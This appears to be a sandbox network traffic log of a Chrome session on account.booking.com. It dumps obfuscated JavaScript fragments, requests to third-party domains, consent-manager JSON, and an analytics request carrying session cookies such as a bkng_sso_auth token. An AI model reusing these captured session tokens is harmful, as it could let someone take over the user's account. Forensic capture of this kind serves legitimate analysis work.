2024-07-08 22:43:47 UTC	16384	IN	Data Raw: 6d 63 66 6c 5f 27 2c 27 73 68 69 66 74 52 69 67 68 74 27 2c 27 69 6e 63 72 65 6d 65 6e 74 27 2c 27 73 69 67 6e 65 64 44 61 74 61 56 61 6c 69 64 61 74 6f 72 27 2c 27 32 36 39 37 39 33 34 46 42 4f 6c 7a 62 27 2c 27 63 72 65 61 74 65 4b 65 79 50 61 69 72 47 65 6e 65 72 61 74 69 6f 6e 53 74 61 74 65 27 2c 27 63 65 72 74 69 66 69 63 61 74 65 5f 75 6e 6b 6e 6f 77 6e 27 2c 27 4d 41 58 5f 41 47 45 5f 53 45 43 4f 4e 44 53 27 2c 27 43 53 53 5f 50 52 4f 50 45 52 54 49 45 53 27 2c 27 31 35 31 39 30 33 37 72 73 51 64 54 55 27 2c 27 67 65 6e 65 72 61 74 65 4b 65 79 50 61 69 72 53 79 6e 63 27 2c 27 4d 6f 6f 6c 42 6f 72 61 6e 27 2c 27 6d 6f 64 50 6f 77 49 6e 74 27 2c 27 52 4f 49 44 27 2c 27 70 72 6f 74 6f 63 6f 6c 27 2c 27 4c 75 63 69 64 61 5c 78 32 30 43 61 6c 6c 69 67 Data Ascii: mcfl_','shiftRight','increment','signedDataValidator','2697934FBOlzb','createKeyPairGenerationState','certificate_unknown','MAX_AGE_SECONDS','CSS_PROPERTIES','1519037rsQdTU','generateKeyPairSync','MoolBoran','modPowInt','ROID','protocol','Lucida\x20Callig
2024-07-08 22:43:47 UTC	16384	IN	Data Raw: 34 31 34 62 39 61 2c 5f 30 78 32 32 66 61 33 33 3d 61 72 67 75 6d 65 6e 74 73 5b 5f 30 78 32 62 37 39 35 32 28 30 78 32 33 37 29 5d 2c 5f 30 78 32 65 35 36 63 65 3d 5f 30 78 32 32 66 61 33 33 3c 30 78 33 3f 5f 30 78 33 39 36 34 36 61 3a 6e 75 6c 6c 3d 3d 3d 5f 30 78 32 30 30 65 37 39 3f 5f 30 78 32 30 30 65 37 39 3d 4f 62 6a 65 63 74 5b 5f 30 78 32 62 37 39 35 32 28 30 78 38 64 65 29 5d 28 5f 30 78 33 39 36 34 36 61 2c 5f 30 78 32 64 35 30 32 65 29 3a 5f 30 78 32 30 30 65 37 39 3b 69 66 28 5f 30 78 32 62 37 39 35 32 28 30 78 61 31 36 29 3d 3d 74 79 70 65 6f 66 20 52 65 66 6c 65 63 74 26 26 5f 30 78 32 62 37 39 35 32 28 30 78 38 34 39 29 3d 3d 74 79 70 65 6f 66 20 52 65 66 6c 65 63 74 5b 5f 30 78 32 62 37 39 35 32 28 30 78 36 39 38 29 5d 29 5f 30 78 32 65 Data Ascii: 414b9a,_0x22fa33=arguments[_0x2b7952(0x237)],_0x2e56ce=_0x22fa33<0x3?_0x39646a:null===_0x200e79?_0x200e79=Object[_0x2b7952(0x8de)](_0x39646a,_0x2d502e):_0x200e79;if(_0x2b7952(0xa16)==typeof Reflect&&_0x2b7952(0x849)==typeof Reflect[_0x2b7952(0x698)])_0x2e
2024-07-08 22:43:47 UTC	16384	IN	Data Raw: 65 62 35 5b 5f 30 78 34 31 64 37 39 64 5b 30 78 31 5d 5d 3d 5f 30 78 34 31 64 37 39 64 5b 30 78 33 5d 2c 5f 30 78 32 32 38 65 62 35 3b 7d 28 29 3b 5f 30 78 32 32 64 36 35 66 5b 5f 30 78 63 63 61 37 35 30 28 30 78 39 61 30 29 5d 3d 5f 30 78 35 39 66 63 65 65 3b 7d 2c 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 64 66 30 32 34 2c 5f 30 78 33 31 32 66 34 35 2c 5f 30 78 32 34 34 37 63 64 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 5f 30 78 31 37 36 30 31 32 3d 61 32 5f 30 78 34 66 62 39 3b 5f 30 78 33 31 32 66 34 35 5b 27 5f 5f 65 73 4d 6f 64 75 6c 65 27 5d 3d 30 78 31 3b 76 61 72 20 5f 30 78 33 31 30 39 34 33 3d 5f 30 78 32 34 34 37 63 64 28 30 78 30 29 2c 5f 30 78 32 65 35 34 66 61 3d 5f 30 78 32 34 34 37 63 64 28 30 78 32 29 2c 5f 30 78 33 39 35 32 Data Ascii: eb5[_0x41d79d[0x1]]=_0x41d79d[0x3],_0x228eb5;}();_0x22d65f[_0xcca750(0x9a0)]=_0x59fcee;},function(_0x2df024,_0x312f45,_0x2447cd){'use strict';var _0x176012=a2_0x4fb9;_0x312f45['__esModule']=0x1;var _0x310943=_0x2447cd(0x0),_0x2e54fa=_0x2447cd(0x2),_0x3952
2024-07-08 22:43:47 UTC	16384	IN	Data Raw: 5d 3d 4d 61 74 68 5b 5f 30 78 33 63 66 31 30 30 5b 30 78 35 5d 5d 28 5f 30 78 34 66 32 66 61 35 29 2c 5f 30 78 32 35 62 61 62 35 5b 5f 30 78 33 63 66 31 30 30 5b 30 78 32 5d 5d 3d 4d 61 74 68 5b 5f 30 78 33 63 66 31 30 30 5b 30 78 35 5d 5d 28 5f 30 78 35 32 31 35 66 64 29 2c 5f 30 78 32 35 62 61 62 35 5b 5f 30 78 33 63 66 31 30 30 5b 30 78 31 32 5d 5d 3d 21 21 5f 30 78 35 31 61 36 38 32 5b 5f 30 78 33 63 66 31 30 30 5b 30 78 31 31 5d 5d 5b 5f 30 78 33 63 66 31 30 30 5b 30 78 31 33 5d 5d 2c 5f 30 78 32 35 62 61 62 35 5b 5f 30 78 33 63 66 31 30 30 5b 30 78 64 5d 5d 28 29 2c 5f 30 78 32 35 62 61 62 35 3b 7d 72 65 74 75 72 6e 28 30 78 30 2c 5f 30 78 31 64 30 63 35 36 5b 5f 30 78 33 63 66 31 30 30 5b 30 78 36 5d 5d 29 28 5f 30 78 32 64 39 65 62 31 2c 5f 30 78 Data Ascii: ]=Math[_0x3cf100[0x5]](_0x4f2fa5),_0x25bab5[_0x3cf100[0x2]]=Math[_0x3cf100[0x5]](_0x5215fd),_0x25bab5[_0x3cf100[0x12]]=!!_0x51a682[_0x3cf100[0x11]][_0x3cf100[0x13]],_0x25bab5[_0x3cf100[0xd]](),_0x25bab5;}return(0x0,_0x1d0c56[_0x3cf100[0x6]])(_0x2d9eb1,_0x
2024-07-08 22:43:47 UTC	16384	IN	Data Raw: 31 32 36 34 61 5b 30 78 34 5d 5d 5b 5f 30 78 32 63 34 63 35 35 5d 3b 69 66 28 5f 30 78 31 30 65 34 33 33 5b 5f 30 78 33 31 32 36 34 61 5b 30 78 36 5d 5d 26 26 5f 30 78 31 30 65 34 33 33 5b 5f 30 78 33 31 32 36 34 61 5b 30 78 36 5d 5d 28 5f 30 78 35 64 36 31 62 34 2c 5f 30 78 33 31 32 36 34 61 5b 30 78 35 5d 29 29 7b 76 61 72 20 5f 30 78 33 66 61 37 35 34 3d 5f 30 78 31 30 65 34 33 33 5b 5f 30 78 33 31 32 36 34 61 5b 30 78 31 5d 5d 28 5f 30 78 35 64 36 31 62 34 2c 5f 30 78 33 31 32 36 34 61 5b 30 78 35 5d 29 3b 5f 30 78 33 63 62 66 65 32 5b 5f 30 78 33 31 32 36 34 61 5b 30 78 32 5d 5d 28 7b 27 6e 61 6d 65 27 3a 5f 30 78 32 63 34 63 35 35 2c 27 76 65 72 73 69 6f 6e 27 3a 5f 30 78 33 66 61 37 35 34 2c 27 73 74 72 27 3a 5f 30 78 33 31 32 36 34 61 5b 30 78 33 Data Ascii: 1264a[0x4]][_0x2c4c55];if(_0x10e433[_0x31264a[0x6]]&&_0x10e433[_0x31264a[0x6]](_0x5d61b4,_0x31264a[0x5])){var _0x3fa754=_0x10e433[_0x31264a[0x1]](_0x5d61b4,_0x31264a[0x5]);_0x3cbfe2[_0x31264a[0x2]]({'name':_0x2c4c55,'version':_0x3fa754,'str':_0x31264a[0x3
2024-07-08 22:43:47 UTC	16384	IN	Data Raw: 30 78 33 38 30 61 66 31 28 30 78 38 35 65 29 2c 30 78 36 66 62 32 5d 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 65 34 31 62 62 28 29 7b 7d 72 65 74 75 72 6e 20 5f 30 78 33 65 34 31 62 62 5b 5f 30 78 31 66 65 38 65 37 5b 30 78 30 5d 5d 5b 5f 30 78 31 66 65 38 65 37 5b 30 78 33 5d 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 64 66 65 64 30 29 7b 76 61 72 20 5f 30 78 62 62 37 30 63 39 3d 5f 30 78 33 38 30 61 66 31 2c 5f 30 78 31 38 35 61 33 64 3d 5b 30 78 30 2c 5f 30 78 62 62 37 30 63 39 28 30 78 38 35 65 29 5d 3b 72 65 74 75 72 6e 28 30 78 30 2c 5f 30 78 32 65 36 65 63 30 5b 5f 30 78 31 38 35 61 33 64 5b 30 78 31 5d 5d 29 28 5f 30 78 33 64 66 65 64 30 29 3b 7d 2c 5f 30 78 33 65 34 31 62 62 3b 7d 28 29 3b 5f 30 78 33 62 36 33 32 39 5b 5f 30 78 35 64 65 63 62 Data Ascii: 0x380af1(0x85e),0x6fb2];function _0x3e41bb(){}return _0x3e41bb[_0x1fe8e7[0x0]][_0x1fe8e7[0x3]]=function(_0x3dfed0){var _0xbb70c9=_0x380af1,_0x185a3d=[0x0,_0xbb70c9(0x85e)];return(0x0,_0x2e6ec0[_0x185a3d[0x1]])(_0x3dfed0);},_0x3e41bb;}();_0x3b6329[_0x5decb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49903	52.209.78.88	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:47 UTC	518	OUT	OPTIONS /raphael_cs HTTP/1.1 Host: booking.ck123.io Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: content-type Origin: https://account.booking.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:47 UTC	384	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 08 Jul 2024 22:43:47 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: https://account.booking.com Access-Control-Allow-Credentials: true Cache-Control: max-age=10000, immutable, private Access-Control-Allow-Headers: cookie, content-type Access-Control-Max-Age: 1200
2024-07-08 22:43:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49904	52.209.78.88	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:47 UTC	513	OUT	OPTIONS /ping HTTP/1.1 Host: booking.gw-dv.vip Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: content-type Origin: https://account.booking.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:47 UTC	271	IN	HTTP/1.1 204 No Content Server: openresty Date: Mon, 08 Jul 2024 22:43:47 GMT Connection: close Access-Control-Max-Age: 2592000 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,OPTIONS Access-Control-Allow-Headers: x-requested-with,content-type

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49905	47.246.50.207	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:47 UTC	706	OUT	GET /dedge/zd/zd-service.html HTTP/1.1 Host: ls.cdn-gw-dv.vip Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:47 UTC	393	IN	HTTP/1.1 200 OK Server: Tuser Content-Type: text/html Content-Length: 592 Connection: close Accept-Ranges: bytes Vary: Accept-Encoding Vary: Origin Last-Modified: Mon, 05 Sep 2022 06:00:59 GMT Content-Encoding: gzip Age: 814 Cache-Control: max-age=31536000 Access-Control-Allow-Origin: * Via: ens-cache16.fr4[0,0] Timing-Allow-Origin: * EagleId: 2ff632a417204786272171372e
2024-07-08 22:43:47 UTC	592	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 95 53 4d 8f 9b 30 10 bd f3 2b 88 0f 8b dd 75 48 2e 95 aa 00 91 aa 4d b6 da aa 69 aa 26 aa d4 53 e4 82 09 74 09 50 3c 90 8d 58 fe 7b c7 26 4b d2 76 2f 45 48 d8 6f 66 de 7c f0 c6 1f 2d d6 77 db ef 5f 96 76 02 87 6c 6e f9 e6 e3 27 52 44 73 ff 20 41 20 0e e5 58 fe aa d3 26 20 77 45 0e 32 87 f1 f6 54 4a 62 87 fd 2d 20 20 9f 60 a2 03 3d 3b 4c 44 a5 24 04 35 c4 e3 77 c4 9e cc fd 49 cf f5 a3 88 4e 48 af c2 2a 2d c1 06 24 38 c7 fd 14 8d e8 51 32 b7 68 5c e7 21 a4 45 4e 59 db 88 ca 4e 32 c5 f1 55 01 51 50 a5 f9 9e 78 50 9d 5a 44 83 d1 e8 98 e6 51 71 74 b3 22 14 d9 06 8a 4a ec a5 87 86 eb 7b 17 0a 08 13 2a 99 09 89 45 a6 a4 d7 59 2f 39 ec 24 d2 26 4b 27 8a 0c 71 14 7c dc ac 3f bb a5 ee 81 4a 37 12 20 98 77 21 a9 24 d4 55 ee 75 69 4c a9 Data Ascii: SM0+uH.Mi&StP<X{&Kv/EHof\|-w_vln'RDs A X& wE2TJb- `=;LD$5wINH-$8Q2h\!ENYN2UQPxPZDQqt"J{EY/9$&K'q\|?J7 w!$UuiL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49907	104.19.178.52	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:47 UTC	427	OUT	GET /consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/a387750c-a080-4dd0-b2d1-7dbdb601bb14.json HTTP/1.1 Host: cdn.cookielaw.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:47 UTC	901	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:47 GMT Content-Type: application/x-javascript Transfer-Encoding: chunked Connection: close CF-Ray: 8a03985d0e9942e6-EWR CF-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 1143 Cache-Control: public, max-age=86400 Expires: Tue, 09 Jul 2024 22:43:47 GMT Last-Modified: Fri, 02 Feb 2024 16:31:18 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: Accept-Encoding Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Content-MD5: 0+JgRsdjEhmuq1b70Gr11w== X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 8a187bef-601e-0074-43f5-550d73000000 x-ms-version: 2009-09-19 Server: cloudflare
2024-07-08 22:43:47 UTC	468	IN	Data Raw: 31 61 30 39 0d 0a 7b 22 43 6f 6f 6b 69 65 53 50 41 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 43 6f 6f 6b 69 65 53 61 6d 65 53 69 74 65 4e 6f 6e 65 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 43 6f 6f 6b 69 65 56 32 43 53 50 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 4d 75 6c 74 69 56 61 72 69 61 6e 74 54 65 73 74 69 6e 67 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 55 73 65 56 32 22 3a 74 72 75 65 2c 22 4d 6f 62 69 6c 65 53 44 4b 22 3a 66 61 6c 73 65 2c 22 53 6b 69 70 47 65 6f 6c 6f 63 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 53 63 72 69 70 74 54 79 70 65 22 3a 22 50 52 4f 44 55 43 54 49 4f 4e 22 2c 22 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 33 30 35 2e 31 2e 30 22 2c 22 4f 70 74 61 6e 6f 6e 44 61 74 61 4a 53 4f 4e 22 3a 22 61 33 38 37 Data Ascii: 1a09{"CookieSPAEnabled":false,"CookieSameSiteNoneEnabled":false,"CookieV2CSPEnabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"MobileSDK":false,"SkipGeolocation":false,"ScriptType":"PRODUCTION","Version":"202305.1.0","OptanonDataJSON":"a387
2024-07-08 22:43:47 UTC	1369	IN	Data Raw: 22 3a 5b 7b 22 49 64 22 3a 22 39 37 37 38 66 34 61 62 2d 36 62 34 61 2d 34 65 30 33 2d 62 64 66 38 2d 38 36 61 35 63 30 33 37 63 34 62 66 22 2c 22 4e 61 6d 65 22 3a 22 55 53 22 2c 22 43 6f 75 6e 74 72 69 65 73 22 3a 5b 22 75 73 22 5d 2c 22 53 74 61 74 65 73 22 3a 7b 7d 2c 22 4c 61 6e 67 75 61 67 65 53 77 69 74 63 68 65 72 50 6c 61 63 65 68 6f 6c 64 65 72 22 3a 7b 22 6e 6f 22 3a 22 6e 6f 22 2c 22 68 69 22 3a 22 68 69 22 2c 22 64 65 22 3a 22 64 65 22 2c 22 72 75 22 3a 22 72 75 22 2c 22 66 69 22 3a 22 66 69 22 2c 22 65 6e 2d 55 53 22 3a 22 65 6e 2d 55 53 22 2c 22 62 67 22 3a 22 62 67 22 2c 22 6c 74 22 3a 22 6c 74 22 2c 22 6c 76 22 3a 22 6c 76 22 2c 22 68 72 22 3a 22 68 72 22 2c 22 66 72 22 3a 22 66 72 22 2c 22 68 75 22 3a 22 68 75 22 2c 22 64 65 66 61 75 6c Data Ascii: ":[{"Id":"9778f4ab-6b4a-4e03-bdf8-86a5c037c4bf","Name":"US","Countries":["us"],"States":{},"LanguageSwitcherPlaceholder":{"no":"no","hi":"hi","de":"de","ru":"ru","fi":"fi","en-US":"en-US","bg":"bg","lt":"lt","lv":"lv","hr":"hr","fr":"fr","hu":"hu","defaul
2024-07-08 22:43:47 UTC	1369	IN	Data Raw: 48 61 6e 74 22 2c 22 75 6b 22 3a 22 75 6b 22 2c 22 73 6b 22 3a 22 73 6b 22 2c 22 73 6c 22 3a 22 73 6c 22 2c 22 69 64 22 3a 22 69 64 22 2c 22 63 61 22 3a 22 63 61 22 2c 22 73 72 22 3a 22 73 72 22 2c 22 73 76 22 3a 22 73 76 22 2c 22 6b 6f 22 3a 22 6b 6f 22 2c 22 70 74 2d 42 52 22 3a 22 70 74 2d 42 52 22 2c 22 6d 73 22 3a 22 6d 73 22 2c 22 65 6c 22 3a 22 65 6c 22 2c 22 69 73 22 3a 22 69 73 22 2c 22 69 74 22 3a 22 69 74 22 2c 22 65 73 2d 4d 58 22 3a 22 65 73 2d 4d 58 22 2c 22 65 73 22 3a 22 65 73 22 2c 22 7a 68 22 3a 22 7a 68 22 2c 22 65 74 22 3a 22 65 74 22 2c 22 63 73 22 3a 22 63 73 22 2c 22 61 72 22 3a 22 61 72 22 2c 22 70 74 2d 50 54 22 3a 22 70 74 2d 50 54 22 2c 22 76 69 22 3a 22 76 69 22 2c 22 74 68 22 3a 22 74 68 22 2c 22 65 73 2d 41 52 22 3a 22 65 73 Data Ascii: Hant","uk":"uk","sk":"sk","sl":"sl","id":"id","ca":"ca","sr":"sr","sv":"sv","ko":"ko","pt-BR":"pt-BR","ms":"ms","el":"el","is":"is","it":"it","es-MX":"es-MX","es":"es","zh":"zh","et":"et","cs":"cs","ar":"ar","pt-PT":"pt-PT","vi":"vi","th":"th","es-AR":"es
2024-07-08 22:43:47 UTC	1369	IN	Data Raw: 61 22 2c 22 73 72 22 2c 22 63 63 22 2c 22 73 73 22 2c 22 63 64 22 2c 22 73 74 22 2c 22 63 66 22 2c 22 73 76 22 2c 22 63 67 22 2c 22 73 78 22 2c 22 63 68 22 2c 22 63 69 22 2c 22 73 79 22 2c 22 73 7a 22 2c 22 63 6b 22 2c 22 63 6c 22 2c 22 63 6d 22 2c 22 63 6f 22 2c 22 63 72 22 2c 22 74 63 22 2c 22 74 64 22 2c 22 74 66 22 2c 22 63 75 22 2c 22 74 67 22 2c 22 63 76 22 2c 22 63 77 22 2c 22 74 68 22 2c 22 63 78 22 2c 22 74 6a 22 2c 22 74 6b 22 2c 22 74 6c 22 2c 22 74 6d 22 2c 22 74 6e 22 2c 22 74 6f 22 2c 22 74 72 22 2c 22 74 74 22 2c 22 74 76 22 2c 22 74 77 22 2c 22 64 6a 22 2c 22 74 7a 22 2c 22 64 6d 22 2c 22 64 6f 22 2c 22 75 61 22 2c 22 75 67 22 2c 22 64 7a 22 2c 22 75 6d 22 2c 22 65 63 22 2c 22 65 67 22 2c 22 65 68 22 2c 22 75 79 22 2c 22 75 7a 22 2c 22 76 Data Ascii: a","sr","cc","ss","cd","st","cf","sv","cg","sx","ch","ci","sy","sz","ck","cl","cm","co","cr","tc","td","tf","cu","tg","cv","cw","th","cx","tj","tk","tl","tm","tn","to","tr","tt","tv","tw","dj","tz","dm","do","ua","ug","dz","um","ec","eg","eh","uy","uz","v
2024-07-08 22:43:47 UTC	1369	IN	Data Raw: 22 3a 74 72 75 65 2c 22 47 6c 6f 62 61 6c 22 3a 74 72 75 65 2c 22 54 79 70 65 22 3a 22 47 44 50 52 22 2c 22 55 73 65 47 6f 6f 67 6c 65 56 65 6e 64 6f 72 73 22 3a 66 61 6c 73 65 2c 22 56 61 72 69 61 6e 74 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 54 65 73 74 45 6e 64 54 69 6d 65 22 3a 6e 75 6c 6c 2c 22 56 61 72 69 61 6e 74 73 22 3a 5b 5d 2c 22 54 65 6d 70 6c 61 74 65 4e 61 6d 65 22 3a 22 43 75 73 74 6f 6d 65 72 20 2d 20 41 63 63 65 70 74 2f 44 65 63 6c 69 6e 65 22 2c 22 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 5b 5d 2c 22 47 43 45 6e 61 62 6c 65 22 3a 66 61 6c 73 65 2c 22 49 73 47 50 50 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 7d 5d 2c 22 49 61 62 44 61 74 61 22 3a 7b 22 63 6f 6f 6b 69 65 56 65 72 73 69 6f 6e 22 3a 22 31 22 2c 22 63 72 65 61 74 65 64 54 Data Ascii: ":true,"Global":true,"Type":"GDPR","UseGoogleVendors":false,"VariantEnabled":false,"TestEndTime":null,"Variants":[],"TemplateName":"Customer - Accept/Decline","Conditions":[],"GCEnable":false,"IsGPPEnabled":false}],"IabData":{"cookieVersion":"1","createdT
2024-07-08 22:43:47 UTC	729	IN	Data Raw: 73 22 3a 7b 22 43 6f 6f 6b 69 65 56 32 42 61 6e 6e 65 72 46 6f 63 75 73 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 47 50 43 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 41 73 73 69 67 6e 54 65 6d 70 6c 61 74 65 52 75 6c 65 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 47 65 6f 6c 6f 63 61 74 69 6f 6e 4a 73 6f 6e 41 70 69 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 47 43 4d 44 4d 41 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 54 43 46 32 31 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 52 65 6d 6f 76 65 53 65 74 74 69 6e 67 73 49 63 6f 6e 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 42 61 6e 6e 65 72 4c 6f 67 6f 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 47 65 6e 65 72 61 6c 56 65 6e 64 6f 72 73 22 3a 74 72 75 65 2c 22 43 6f 6f Data Ascii: s":{"CookieV2BannerFocus":true,"CookieV2GPC":true,"CookieV2AssignTemplateRule":true,"CookieV2GeolocationJsonApi":true,"CookieV2GCMDMA":true,"CookieV2TCF21":true,"CookieV2RemoveSettingsIcon":true,"CookieV2BannerLogo":true,"CookieV2GeneralVendors":true,"Coo
2024-07-08 22:43:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49892	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:47 UTC	1619	OUT	GET /stBXX4xy0Tuo1HHg?8fc06bdf70f757cb=PL55k8pz5b8hiYulo50ivQR5fsAjStjTW-lpchEzoeg_zB_MFdYm8ZvJ4HR3tjPkWDMQrM350HleQBXkvJ8lj1Yf8cEToqZD4EDOoPoaAUt7AA4MljpNkqLWj65VNe0H9-vQJx3JVDjyT1H234HKfnniAzsGAX_tBPIL74KzFup0aLxH9QUXOJFKlh6bvfCAmDt4qfFL6EHkS5j1&jb=373b242e6a736f7d3557616c66677771246a7b6d3d576966666f7f71253030333024687360773f4b68726f656d2662716035436a706f6567253230393337 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bkng_sso_auth=CAIQsOnuTRpmaou+GEKeulaBbe/D0RNKi0n1KM9uEq17CoZ9ceIKbGu/yAcBi15SiUijsLL7hKBbdn2ziy9rleT/h/+mYqJx9Ltvzo4bCiS9vD0LPjuOlYCJGG9yEJ4LEajGRIlOfN54d2s0MMke; pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D91c4cf11-d893-45ba-a7de-4fecf555ad97%26consentedAt%3D2024-07-08T22%3A43%3A33.173Z%26expiresAt%3D2025-01-04T22%3A43%3A33.173Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DNY%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_session=e30; bkng_sso_ses=e30; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=0tWKh3s97xGnsLpYDscOaQ1D; thx_guid=6b020f2f51991f3dd6eadec909c45d18; tmx_guid=AAy7vzuwQTwF5RG-Ej1enTO9C1lcIhjQMiaW-gY6zQXmMx_MWV3fTK5VnEx9G5bUsWOH5QVRyLX5BH5DsoPuUp3B16Raig
2024-07-08 22:43:47 UTC	514	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:47 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT tmx-nonce: d9fe95023d324584 Access-Control-Allow-Origin: * X-Robots-Tag: noindex, nofollow Content-Type: text/javascript;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
